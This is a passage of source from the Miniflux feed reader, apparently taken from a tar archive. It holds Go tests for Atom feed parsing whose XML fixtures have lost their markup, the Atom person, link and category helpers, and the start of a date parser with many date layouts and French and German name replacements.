Example FeedAliceBobBoburn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Author != "Alice, Bob" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseFeedWithoutAuthor(t *testing.T) {
data := `
Example Feedurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Author != "" {
t.Errorf("Incorrect entry author, got: %q", feed.Entries[0].Author)
}
}
func TestParseEntryWithEnclosures(t *testing.T) {
data := `
http://www.example.org/myfeedMy Podcast Feed2005-07-15T12:00:00ZJohn Doehttp://www.example.org/entries/1Atom 1.02005-07-15T12:00:00ZAn overview of Atom 1.0
Show Notes
00:01:00 -- Introduction
00:15:00 -- Talking about Atom 1.0
00:30:00 -- Wrapping up
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].URL != "http://www.example.org/entries/1" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if len(feed.Entries[0].Enclosures) != 2 {
t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures))
}
expectedResults := []struct {
url string
mimeType string
size int64
}{
{"http://www.example.org/myaudiofile.mp3", "audio/mpeg", 1234},
{"http://www.example.org/myaudiofile.torrent", "application/x-bittorrent", 4567},
}
for index, enclosure := range feed.Entries[0].Enclosures {
if expectedResults[index].url != enclosure.URL {
t.Errorf(`Unexpected enclosure URL, got %q instead of %q`, enclosure.URL, expectedResults[index].url)
}
if expectedResults[index].mimeType != enclosure.MimeType {
t.Errorf(`Unexpected enclosure type, got %q instead of %q`, enclosure.MimeType, expectedResults[index].mimeType)
}
if expectedResults[index].size != enclosure.Size {
t.Errorf(`Unexpected enclosure size, got %d instead of %d`, enclosure.Size, expectedResults[index].size)
}
}
}
func TestParseEntryWithRelativeEnclosureURL(t *testing.T) {
data := `
https://www.example.org/myfeedMy Podcast Feedhttps://www.example.org/entries/1Atom 1.02005-07-15T12:00:00Z`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if len(feed.Entries[0].Enclosures) != 1 {
t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures))
}
if feed.Entries[0].Enclosures[0].URL != "https://example.org/myaudiofile.mp3" {
t.Errorf("Incorrect enclosure URL, got: %q", feed.Entries[0].Enclosures[0].URL)
}
}
func TestParseEntryWithDuplicateEnclosureURL(t *testing.T) {
data := `
http://www.example.org/myfeedMy Podcast Feedhttp://www.example.org/entries/1Atom 1.02005-07-15T12:00:00Z`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if len(feed.Entries[0].Enclosures) != 1 {
t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures))
}
if feed.Entries[0].Enclosures[0].URL != "http://www.example.org/myaudiofile.mp3" {
t.Errorf("Incorrect enclosure URL, got: %q", feed.Entries[0].Enclosures[0].URL)
}
}
func TestParseEntryWithoutEnclosureURL(t *testing.T) {
data := `
http://www.example.org/myfeedMy Podcast Feed2005-07-15T12:00:00Zhttp://www.example.org/entries/1Atom 1.02005-07-15T12:00:00ZAn overview of Atom 1.0Test`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].URL != "http://www.example.org/entries/1" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if len(feed.Entries[0].Enclosures) != 0 {
t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures))
}
}
func TestParseEntryWithPublished(t *testing.T) {
data := `
Example Feedurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if !feed.Entries[0].Date.Equal(time.Date(2003, time.December, 13, 18, 30, 2, 0, time.UTC)) {
t.Errorf("Incorrect entry date, got: %v", feed.Entries[0].Date)
}
}
func TestParseEntryWithPublishedAndUpdated(t *testing.T) {
data := `
Example Feedurn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a2002-11-12T18:30:02Z2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if !feed.Entries[0].Date.Equal(time.Date(2002, time.November, 12, 18, 30, 2, 0, time.UTC)) {
t.Errorf("Incorrect entry date, got: %v", feed.Entries[0].Date)
}
}
func TestParseInvalidXml(t *testing.T) {
data := `garbage`
_, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err == nil {
t.Error("Parse should returns an error")
}
}
func TestParseTitleWithSingleQuote(t *testing.T) {
data := `
' or ’
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Title != "' or ’" {
t.Errorf(`Incorrect title, got: %q`, feed.Title)
}
}
func TestParseTitleWithEncodedSingleQuote(t *testing.T) {
data := `
Test's Blog
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Title != "Test's Blog" {
t.Errorf(`Incorrect title, got: %q`, feed.Title)
}
}
func TestParseTitleWithSingleQuoteAndHTMLType(t *testing.T) {
data := `
O’Hara
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Title != "O’Hara" {
t.Errorf(`Incorrect title, got: %q`, feed.Title)
}
}
func TestParseWithHTMLEntity(t *testing.T) {
data := `
Example Feed
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.Title != "Example \u00a0 Feed" {
t.Errorf(`Incorrect title, got: %q`, feed.Title)
}
}
func TestParseWithInvalidCharacterEntity(t *testing.T) {
data := `
Example Feed
`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.SiteURL != "http://example.org/a&b" {
t.Errorf(`Incorrect URL, got: %q`, feed.SiteURL)
}
}
func TestParseMediaGroup(t *testing.T) {
data := `
https://www.example.org/myfeedMy Video Feed2005-07-15T12:00:00Zhttps://www.example.org/entries/1Some Video2005-07-15T12:00:00ZAnother titleSome description
A website: http://example.org/`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if len(feed.Entries[0].Enclosures) != 4 {
t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures))
}
expectedResults := []struct {
url string
mimeType string
size int64
}{
{"https://www.example.org/duplicate-thumbnail.jpg", "image/*", 0},
{"https://example.org/thumbnail2.jpg", "image/*", 0},
{"https://www.youtube.com/v/abcd", "application/x-shockwave-flash", 0},
{"https://example.org/v/efg", "application/x-shockwave-flash", 0},
}
for index, enclosure := range feed.Entries[0].Enclosures {
if expectedResults[index].url != enclosure.URL {
t.Errorf(`Unexpected enclosure URL, got %q instead of %q`, enclosure.URL, expectedResults[index].url)
}
if expectedResults[index].mimeType != enclosure.MimeType {
t.Errorf(`Unexpected enclosure type, got %q instead of %q`, enclosure.MimeType, expectedResults[index].mimeType)
}
if expectedResults[index].size != enclosure.Size {
t.Errorf(`Unexpected enclosure size, got %d instead of %d`, enclosure.Size, expectedResults[index].size)
}
}
}
func TestParseMediaElements(t *testing.T) {
data := `
https://www.example.org/myfeedMy Video Feed2005-07-15T12:00:00Zhttps://www.example.org/entries/1Some Video2005-07-15T12:00:00ZAnother titleSome description
A website: http://example.org/`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Fatalf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if len(feed.Entries[0].Enclosures) != 5 {
t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures))
}
expectedResults := []struct {
url string
mimeType string
size int64
}{
{"https://example.org/duplicated-thumbnail.jpg", "image/*", 0},
{"https://www.youtube.com/v/abcd", "application/x-shockwave-flash", 0},
{"https://example.org/relative/media.mp4", "application/x-shockwave-flash", 0},
{"http://www.example.org/sampleFile.torrent", "application/x-bittorrent", 0},
{"https://example.org/sampleFile2.torrent", "application/x-bittorrent", 0},
}
for index, enclosure := range feed.Entries[0].Enclosures {
if expectedResults[index].url != enclosure.URL {
t.Errorf(`Unexpected enclosure URL, got %q instead of %q`, enclosure.URL, expectedResults[index].url)
}
if expectedResults[index].mimeType != enclosure.MimeType {
t.Errorf(`Unexpected enclosure type, got %q instead of %q`, enclosure.MimeType, expectedResults[index].mimeType)
}
if expectedResults[index].size != enclosure.Size {
t.Errorf(`Unexpected enclosure size, got %d instead of %d`, enclosure.Size, expectedResults[index].size)
}
}
}
func TestParseRepliesLinkRelationWithHTMLType(t *testing.T) {
data := `
http://www.example.org/myfeedMy Example Feed2005-07-28T12:00:00ZJamestag:entries.com,2005:1My original entry2006-03-01T12:12:12ZThis is my original entry`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].URL != "http://www.example.org/entries/1" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if feed.Entries[0].CommentsURL != "http://www.example.org/comments.html" {
t.Errorf("Incorrect entry comments URL, got: %s", feed.Entries[0].CommentsURL)
}
}
func TestParseRepliesLinkRelationWithXHTMLType(t *testing.T) {
data := `
http://www.example.org/myfeedMy Example Feed2005-07-28T12:00:00ZJamestag:entries.com,2005:1My original entry2006-03-01T12:12:12ZThis is my original entry`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].URL != "http://www.example.org/entries/1" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if feed.Entries[0].CommentsURL != "http://www.example.org/comments.xhtml" {
t.Errorf("Incorrect entry comments URL, got: %s", feed.Entries[0].CommentsURL)
}
}
func TestParseRepliesLinkRelationWithNoType(t *testing.T) {
data := `
http://www.example.org/myfeedMy Example Feed2005-07-28T12:00:00ZJamestag:entries.com,2005:1My original entry2006-03-01T12:12:12ZThis is my original entry`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].URL != "http://www.example.org/entries/1" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if feed.Entries[0].CommentsURL != "" {
t.Errorf("Incorrect entry comments URL, got: %s", feed.Entries[0].CommentsURL)
}
}
func TestAbsoluteCommentsURL(t *testing.T) {
data := `
http://www.example.org/myfeedMy Example Feed2005-07-28T12:00:00ZJamestag:entries.com,2005:1My original entry2006-03-01T12:12:12ZThis is my original entry`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries))
}
if feed.Entries[0].URL != "http://www.example.org/entries/1" {
t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL)
}
if feed.Entries[0].CommentsURL != "" {
t.Errorf("Incorrect entry comments URL, got: %s", feed.Entries[0].CommentsURL)
}
}
func TestParseItemWithCategories(t *testing.T) {
data := `
Example Feed2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries[0].Tags) != 2 {
t.Fatalf("Incorrect number of tags, got: %d", len(feed.Entries[0].Tags))
}
expected := "Science"
result := feed.Entries[0].Tags[0]
if result != expected {
t.Errorf("Incorrect entry category, got %q instead of %q", result, expected)
}
expected = "ZZZZ"
result = feed.Entries[0].Tags[1]
if result != expected {
t.Errorf("Incorrect entry category, got %q instead of %q", result, expected)
}
}
func TestParseFeedWithCategories(t *testing.T) {
data := `
Example Feed2003-12-13T18:30:02ZSome text.`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if len(feed.Entries[0].Tags) != 1 {
t.Fatalf("Incorrect number of tags, got: %d", len(feed.Entries[0].Tags))
}
expected := "Some Label"
result := feed.Entries[0].Tags[0]
if result != expected {
t.Errorf("Incorrect entry category, got %q instead of %q", result, expected)
}
}
func TestParseFeedWithIconURL(t *testing.T) {
data := `
Example Feedhttp://example.org/icon.png`
feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10")
if err != nil {
t.Fatal(err)
}
if feed.IconURL != "http://example.org/icon.png" {
t.Errorf("Incorrect icon URL, got: %s", feed.IconURL)
}
}
v2-2.2.5/internal/reader/atom/atom_common.go 0000664 0000000 0000000 00000010341 14743520056 0020731 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package atom // import "miniflux.app/v2/internal/reader/atom"
import (
"strings"
)
// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-3.2
type AtomPerson struct {
// The "atom:name" element's content conveys a human-readable name for the author.
// It MAY be the name of a corporation or other entity no individual authors can be named.
// Person constructs MUST contain exactly one "atom:name" element, whose content MUST be a string.
Name string `xml:"name"`
// The "atom:email" element's content conveys an e-mail address associated with the Person construct.
// Person constructs MAY contain an atom:email element, but MUST NOT contain more than one.
// Its content MUST be an e-mail address [RFC2822].
// Ordering of the element children of Person constructs MUST NOT be considered significant.
Email string `xml:"email"`
}
func (a *AtomPerson) PersonName() string {
name := strings.TrimSpace(a.Name)
if name != "" {
return name
}
return strings.TrimSpace(a.Email)
}
type AtomPersons []*AtomPerson
func (a AtomPersons) PersonNames() []string {
var names []string
authorNamesMap := make(map[string]bool)
for _, person := range a {
personName := person.PersonName()
if _, ok := authorNamesMap[personName]; !ok {
names = append(names, personName)
authorNamesMap[personName] = true
}
}
return names
}
// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-4.2.7
type AtomLink struct {
Href string `xml:"href,attr"`
Type string `xml:"type,attr"`
Rel string `xml:"rel,attr"`
Length string `xml:"length,attr"`
Title string `xml:"title,attr"`
}
type AtomLinks []*AtomLink
func (a AtomLinks) OriginalLink() string {
for _, link := range a {
if strings.EqualFold(link.Rel, "alternate") {
return strings.TrimSpace(link.Href)
}
if link.Rel == "" && (link.Type == "" || link.Type == "text/html") {
return strings.TrimSpace(link.Href)
}
}
return ""
}
func (a AtomLinks) firstLinkWithRelation(relation string) string {
for _, link := range a {
if strings.EqualFold(link.Rel, relation) {
return strings.TrimSpace(link.Href)
}
}
return ""
}
func (a AtomLinks) firstLinkWithRelationAndType(relation string, contentTypes ...string) string {
for _, link := range a {
if strings.EqualFold(link.Rel, relation) {
for _, contentType := range contentTypes {
if strings.EqualFold(link.Type, contentType) {
return strings.TrimSpace(link.Href)
}
}
}
}
return ""
}
func (a AtomLinks) findAllLinksWithRelation(relation string) []*AtomLink {
var links []*AtomLink
for _, link := range a {
if strings.EqualFold(link.Rel, relation) {
link.Href = strings.TrimSpace(link.Href)
if link.Href != "" {
links = append(links, link)
}
}
}
return links
}
// The "atom:category" element conveys information about a category
// associated with an entry or feed. This specification assigns no
// meaning to the content (if any) of this element.
//
// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-4.2.2
type AtomCategory struct {
// The "term" attribute is a string that identifies the category to
// which the entry or feed belongs. Category elements MUST have a
// "term" attribute.
Term string `xml:"term,attr"`
// The "scheme" attribute is an IRI that identifies a categorization
// scheme. Category elements MAY have a "scheme" attribute.
Scheme string `xml:"scheme,attr"`
// The "label" attribute provides a human-readable label for display in
// end-user applications. The content of the "label" attribute is
// Language-Sensitive. Entities such as "&" and "<" represent
// their corresponding characters ("&" and "<", respectively), not
// markup. Category elements MAY have a "label" attribute.
Label string `xml:"label,attr"`
}
type AtomCategories []AtomCategory
func (ac AtomCategories) CategoryNames() []string {
var categories []string
for _, category := range ac {
label := strings.TrimSpace(category.Label)
if label != "" {
categories = append(categories, label)
} else {
term := strings.TrimSpace(category.Term)
if term != "" {
categories = append(categories, term)
}
}
}
return categories
}
v2-2.2.5/internal/reader/atom/parser.go 0000664 0000000 0000000 00000001703 14743520056 0017717 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package atom // import "miniflux.app/v2/internal/reader/atom"
import (
"fmt"
"io"
"miniflux.app/v2/internal/model"
xml_decoder "miniflux.app/v2/internal/reader/xml"
)
// Parse returns a normalized feed struct from a Atom feed.
func Parse(baseURL string, r io.ReadSeeker, version string) (*model.Feed, error) {
switch version {
case "0.3":
atomFeed := new(Atom03Feed)
if err := xml_decoder.NewXMLDecoder(r).Decode(atomFeed); err != nil {
return nil, fmt.Errorf("atom: unable to parse Atom 0.3 feed: %w", err)
}
return NewAtom03Adapter(atomFeed).BuildFeed(baseURL), nil
default:
atomFeed := new(Atom10Feed)
if err := xml_decoder.NewXMLDecoder(r).Decode(atomFeed); err != nil {
return nil, fmt.Errorf("atom: unable to parse Atom 1.0 feed: %w", err)
}
return NewAtom10Adapter(atomFeed).BuildFeed(baseURL), nil
}
}
v2-2.2.5/internal/reader/date/ 0000775 0000000 0000000 00000000000 14743520056 0016050 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/date/parser.go 0000664 0000000 0000000 00000023557 14743520056 0017707 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package date // import "miniflux.app/v2/internal/reader/date"
import (
"errors"
"fmt"
"strconv"
"strings"
"time"
)
// RFC822, RFC850, and RFC1123 formats should be applied only to local times.
var dateFormatsLocalTimesOnly = []string{
time.RFC822, // RSS
time.RFC850,
time.RFC1123,
}
// dateFormats taken from github.com/mjibson/goread
var dateFormats = []string{
time.RFC822Z, // RSS
time.RFC3339, // Atom
time.UnixDate,
time.RubyDate,
time.RFC1123Z,
time.ANSIC,
"Mon, 02 Jan 2006 15:04:05 MST -07:00",
"Mon, January 2, 2006, 3:04 PM MST",
"Mon, January 2 2006 15:04:05 -0700",
"Mon, January 02, 2006, 15:04:05 MST",
"Mon, January 02, 2006 15:04:05 MST",
"Mon, Jan 2, 2006 15:04 MST",
"Mon, Jan 2 2006 15:04 MST",
"Mon, Jan 2 2006 15:04:05 MST",
"Mon, Jan 2, 2006 15:04:05 MST",
"Mon, Jan 2 2006 15:04:05 -700",
"Mon, Jan 2 2006 15:04:05 -0700",
"Mon Jan 2 15:04 2006",
"Mon Jan 2 15:04:05 2006 MST",
"Mon Jan 02, 2006 3:04 pm",
"Mon, Jan 02,2006 15:04:05 MST",
"Mon Jan 02 2006 15:04:05 -0700",
"Mon, 02/01/2006",
"Monday, 2. January 2006 - 15:04",
"Monday 02 January 2006",
"Monday, January 2, 2006 15:04:05 MST",
"Monday, January 2, 2006 03:04 PM",
"Monday, January 2, 2006",
"Monday, January 02, 2006",
"Monday, 2 January 2006 15:04:05 MST",
"Monday, 2 January 2006 15:04:05 -0700",
"Monday, 2 Jan 2006 15:04:05 MST",
"Monday, 2 Jan 2006 15:04:05 -0700",
"Monday, 02 January 2006 15:04:05 MST",
"Monday, 02 January 2006 15:04:05 -0700",
"Monday, 02 January 2006 15:04:05",
"Monday, January 02, 2006 - 3:04pm",
"Monday, January 2, 2006 - 3:04pm",
"Mon, 01/02/2006 - 15:04",
"Mon, 2 January 2006 15:04 MST",
"Mon, 2 January 2006, 15:04 -0700",
"Mon, 2 January 2006, 15:04:05 MST",
"Mon, 2 January 2006 15:04:05 MST",
"Mon, 2 January 2006 15:04:05 -0700",
"Mon, 2 January 2006",
"Mon, 2 Jan 2006 3:04:05 PM -0700",
"Mon, 2 Jan 2006 15:4:5 MST",
"Mon, 2 Jan 2006 15:4:5 -0700 GMT",
"Mon, 2, Jan 2006 15:4",
"Mon, 2 Jan 2006 15:04 MST",
"Mon, 2 Jan 2006, 15:04 -0700",
"Mon, 2 Jan 2006 15:04 -0700",
"Mon, 2 Jan 2006 15:04:05 UT",
"Mon, 2 Jan 2006 15:04:05MST",
"Mon, 2 Jan 2006 15:04:05 MST",
"Mon 2 Jan 2006 15:04:05 MST",
"mon,2 Jan 2006 15:04:05 MST",
"Mon, 2 Jan 2006 15:04:05 -0700 MST",
"Mon, 2 Jan 2006 15:04:05-0700",
"Mon, 2 Jan 2006 15:04:05 -0700",
"Mon, 2 Jan 2006 15:04:05",
"Mon, 2 Jan 2006 15:04",
"Mon, 02 Jan 2006, 15:04",
"Mon, 2 Jan 2006, 15:04",
"Mon,2 Jan 2006",
"Mon, 2 Jan 2006",
"Mon, 2 Jan 15:04:05 MST",
"Mon, 2 Jan 06 15:04:05 MST",
"Mon, 2 Jan 06 15:04:05 -0700",
"Mon, 2006-01-02 15:04",
"Mon,02 January 2006 14:04:05 MST",
"Mon, 02 January 2006",
"Mon, 02 Jan 2006 3:04:05 PM MST",
"Mon, 02 Jan 2006 15 -0700",
"Mon,02 Jan 2006 15:04 MST",
"Mon, 02 Jan 2006 15:04 MST",
"Mon, 02 Jan 2006 15:04 -0700",
"Mon, 02 Jan 2006 15:04:05 Z",
"Mon, 02 Jan 2006 15:04:05 UT",
"Mon, 02 Jan 2006 15:04:05 MST-07:00",
"Mon, 02 Jan 2006 15:04:05 MST -0700",
"Mon, 02 Jan 2006, 15:04:05 MST",
"Mon, 02 Jan 2006 15:04:05MST",
"Mon, 02 Jan 2006 15:04:05 MST",
"Mon , 02 Jan 2006 15:04:05 MST",
"Mon, 02 Jan 2006 15:04:05 GMT-0700",
"Mon,02 Jan 2006 15:04:05 -0700",
"Mon, 02 Jan 2006 15:04:05 -0700",
"Mon, 02 Jan 2006 15:04:05 -07:00",
"Mon, 02 Jan 2006 15:04:05 --0700",
"Mon 02 Jan 2006 15:04:05 -0700",
"Mon 02 Jan 2006, 15:04:05 MST",
"Mon, 02 Jan 2006 15:04:05 MST",
"Mon, 02 Jan 2006 15:04:05 -07",
"Mon, 02 Jan 2006 15:04:05 00",
"Mon, 02 Jan 2006 15:04:05",
"Mon, 02 Jan 2006",
"Mon, 02 Jan 06 15:04:05 MST",
"Mon, 02 Jan 2006 3:04 PM MST",
"Mon Jan 02 2006 15:04:05 MST",
"Mon, 01 02 2006 15:04:05 -0700",
"Mon, 2th Jan 2006 15:05:05 MST",
"Jan. 2, 2006, 3:04 a.m.",
"fri, 02 jan 2006 15:04:05 -0700",
"January 02 2006 03:04:05 PM",
"January 2, 2006 3:04 PM",
"January 2, 2006, 3:04 p.m.",
"January 2, 2006 15:04:05 MST",
"January 2, 2006 15:04:05",
"January 2, 2006 03:04 PM",
"January 2, 2006",
"January 02, 2006 15:04:05 MST",
"January 02, 2006 15:04",
"January 02, 2006 03:04 PM",
"January 02, 2006",
"Jan 2, 2006 3:04:05 PM MST",
"Jan 2, 2006 3:04:05 PM",
"Jan 2, 2006 15:04:05 MST",
"Jan 2, 2006",
"Jan 02 2006 03:04:05PM",
"Jan 02, 2006",
"6/1/2 15:04",
"6-1-2 15:04",
"2 January 2006 15:04:05 MST",
"2 January 2006 15:04:05 -0700",
"2 January 2006",
"2 Jan 2006 15:04:05 Z",
"2 Jan 2006 15:04:05 MST",
"2 Jan 2006 15:04:05 -0700",
"2 Jan 2006",
"2 Jan 2006 15:04 MST",
"2.1.2006 15:04:05",
"2/1/2006",
"2-1-2006",
"2006 January 02",
"2006-1-2T15:04:05Z",
"2006-1-2 15:04:05",
"2006-1-2",
"2006-01-02T15:04:05-07:00Z",
"2006-1-02T15:04:05Z",
"2006-01-02T15:04Z",
"2006-01-02T15:04-07:00",
"2006-01-02T15:04:05Z",
"2006-01-02T15:04:05-07:00:00",
"2006-01-02T15:04:05:-0700",
"2006-01-02T15:04:05-0700",
"2006-01-02T15:04:05-07:00",
"2006-01-02T15:04:05 -0700",
"2006-01-02T15:04:05:00",
"2006-01-02T15:04:05",
"2006-01-02T15:04",
"2006-01-02 at 15:04:05",
"2006-01-02 15:04:05Z",
"2006-01-02 15:04:05 MST",
"2006-01-02 15:04:05-0700",
"2006-01-02 15:04:05-07:00",
"2006-01-02 15:04:05 -0700",
"2006-01-02 15:04",
"2006-01-02 00:00:00.0 15:04:05.0 -0700",
"2006/01/02",
"2006-01-02",
"15:04 02.01.2006 -0700",
"1/2/2006 3:04 PM MST",
"1/2/2006 3:04:05 PM MST",
"1/2/2006 3:04:05 PM",
"1/2/2006 15:04:05 MST",
"1/2/2006",
"06/1/2 15:04",
"06-1-2 15:04",
"02 Monday, Jan 2006 15:04",
"02 Jan 2006 15:04 MST",
"02 Jan 2006 15:04:05 UT",
"02 Jan 2006 15:04:05 MST",
"02 Jan 2006 15:04:05 -0700",
"02 Jan 2006 15:04:05",
"02 Jan 2006",
"02/01/2006 15:04 MST",
"02-01-2006 15:04:05 MST",
"02.01.2006 15:04:05",
"02/01/2006 15:04:05",
"02.01.2006 15:04",
"02/01/2006 - 15:04",
"02.01.2006 -0700",
"02/01/2006",
"02-01-2006",
"01/02/2006 3:04 PM",
"01/02/2006 15:04:05 MST",
"01/02/2006 - 15:04",
"01/02/2006",
"01-02-2006",
"Jan. 2006",
"Jan. 2, 2006, 03:04 p.m.",
"2006-01-02 15:04:05 -07:00",
"2 January, 2006",
"2 Jan 2006 MST",
"Mon, January 2, 2006 at 03:04 PM MST",
"Jan 2, 2006 15:04 MST",
"01/02/2006 3:04 pm MST",
"Mon, 2th Jan 2006 15:04:05 MST",
"Mon, 2rd Jan 2006 15:04:05 MST",
"Mon, 2nd Jan 2006 15:04:05 MST",
"Mon, 2st Jan 2006 15:04:05 MST",
"Mon, Jan 02 2006 03:04:05 PM",
"Monday, January 2, 2006 - 15:04",
"01/02/06 15:04:05",
"02.01.06",
}
var invalidTimezoneReplacer = strings.NewReplacer(
"Europe/Brussels", "CET",
"America/Los_Angeles", "PDT",
"GMT+0000 (Coordinated Universal Time)", "GMT",
"GMT-", "GMT -",
)
var invalidLocalizedDateReplacer = strings.NewReplacer(
"Mo,", "Mon,",
"Di,", "Tue,",
"Mi,", "Wed,",
"Do,", "Thu,",
"Fr,", "Fri,",
"Sa,", "Sat,",
"So,", "Sun,",
"Mär ", "Mar ",
"Mai ", "May ",
"Okt ", "Oct ",
"Dez ", "Dec ",
"lun,", "Mon,",
"mar,", "Tue,",
"mer,", "Wed,",
"jeu,", "Thu,",
"ven,", "Fri,",
"sam,", "Sat,",
"dim,", "Sun,",
"lun.", "Mon",
"mar.", "Tue",
"mer.", "Wed",
"jeu.", "Thu",
"ven.", "Fri",
"sam.", "Sat",
"dim.", "Sun",
"Lundi,", "Monday,",
"Mardi,", "Tuesday,",
"Mercredi,", "Wednesday,",
"Jeudi,", "Thursday,",
"Vendredi,", "Friday,",
"Samedi,", "Saturday,",
"Dimanche,", "Sunday,",
"jan.", "January ",
"feb.", "February ",
"mars.", "March ",
"avril.", "April ",
"mai.", "May ",
"juin.", "June ",
"juil.", "July",
"août.", "August",
"sept.", "September",
"oct.", "October",
"nov.", "November",
"dec.", "December",
"déc.", "December",
"janvier ", "January ",
"février ", "February ",
"mars ", "March ",
"avril ", "April ",
"mai ", "May ",
"juin ", "June ",
"juillet ", "July",
"août ", "August",
"septembre ", "September",
"octobre ", "October",
"november ", "November",
"décembre ", "December",
"Janvier", "January",
"Février", "February",
"Mars", "March",
"Avril", "April",
"Mai", "May",
"Juin", "June",
"Juillet", "July",
"Août", "August",
"Septembre", "September",
"Octobre", "October",
"Novembre", "November",
"Décembre", "December",
"avr ", "Apr ",
"mai ", "May ",
"jui ", "Jun ",
"juin ", "June ",
"Thurs,", "Thu,",
"Thur,", "Thu,",
)
// Parse parses a given date string using a large
// list of commonly found feed date formats.
func Parse(rawInput string) (t time.Time, err error) {
rawInput = strings.TrimSpace(rawInput)
if rawInput == "" {
return t, errors.New(`date parser: empty value`)
}
if timestamp, err := strconv.ParseInt(rawInput, 10, 64); err == nil {
return time.Unix(timestamp, 0), nil
}
processedInput := invalidLocalizedDateReplacer.Replace(rawInput)
processedInput = invalidTimezoneReplacer.Replace(processedInput)
for _, layout := range dateFormatsLocalTimesOnly {
if t, err = parseLocalTimeDates(layout, processedInput); err == nil {
return checkTimezoneRange(t), nil
}
}
for _, layout := range dateFormats {
